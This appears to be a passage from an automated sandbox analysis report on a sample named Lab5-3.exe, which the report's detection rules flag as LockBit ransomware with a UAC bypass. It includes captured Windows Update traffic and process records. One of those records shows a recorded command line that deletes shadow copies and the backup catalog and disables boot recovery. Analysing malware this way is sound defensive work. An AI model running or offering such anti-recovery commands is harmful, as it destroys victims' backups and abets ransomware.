2024-04-26 21:38:55 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 8775cb85-bf7c-4476-85d1-2dbe715e01e4 MS-RequestId: 3665e3ff-649c-4146-9526-9c18cf7e558d MS-CV: 8Cjn+zM2WkKah1Yi.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Apr 2024 21:38:53 GMT Connection: close Content-Length: 24490
2024-04-26 21:38:55 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-26 21:38:55 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Timestamp	Bytes transferred	Direction	Data
2024-04-26 21:39:36 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=crNMT2weYCUheMV&MD=zS4FTzTb HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-26 21:39:37 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 1248b808-7ed4-4764-a75d-829544a563ca MS-RequestId: d80dcb04-93cf-458f-8e96-c65a52bc7d1a MS-CV: c5P+Yh9hKkO/AxVN.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Apr 2024 21:39:36 GMT Connection: close Content-Length: 25457
2024-04-26 21:39:37 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-26 21:39:37 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Target ID:	0
Start time:	23:38:33
Start date:	26/04/2024
Path:	C:\Users\user\Desktop\Lab5-3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Lab5-3.exe"
Imagebase:	0x400000
File size:	149'504 bytes
MD5 hash:	69BEC32D50744293E85606A5E8F80425
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 00000000.00000000.1629021077.000000000041B000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000000.1629021077.000000000041B000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Target ID:	4
Start time:	23:38:37
Start date:	26/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Imagebase:	0x7ff65aac0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	23:38:38
Start date:	26/04/2024
Path:	C:\Windows\System32\vssadmin.exe
Wow64 process (32bit):	false
Commandline:	vssadmin delete shadows /all /quiet
Imagebase:	0x7ff67d280000
File size:	145'920 bytes
MD5 hash:	B58073DB8892B67A672906C9358020EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	9
Start time:	23:38:39
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://%3cfnc1%3e(79)/
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	13
Start time:	23:38:44
Start date:	26/04/2024
Path:	C:\Windows\System32\bcdedit.exe
Wow64 process (32bit):	false
Commandline:	bcdedit /set {default} bootstatuspolicy ignoreallfailures
Imagebase:	0x7ff79cca0000
File size:	491'864 bytes
MD5 hash:	74F7B84B0A547592CA63A00A8C4AD583
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	19
Start time:	23:38:47
Start date:	26/04/2024
Path:	C:\Users\user\Desktop\Lab5-3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Lab5-3.exe"
Imagebase:	0x400000
File size:	149'504 bytes
MD5 hash:	69BEC32D50744293E85606A5E8F80425
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 00000013.00000002.1822737121.000000000041B000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000013.00000002.1822737121.000000000041B000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 00000013.00000000.1764646363.000000000041B000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000013.00000000.1764646363.000000000041B000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Has exited:	true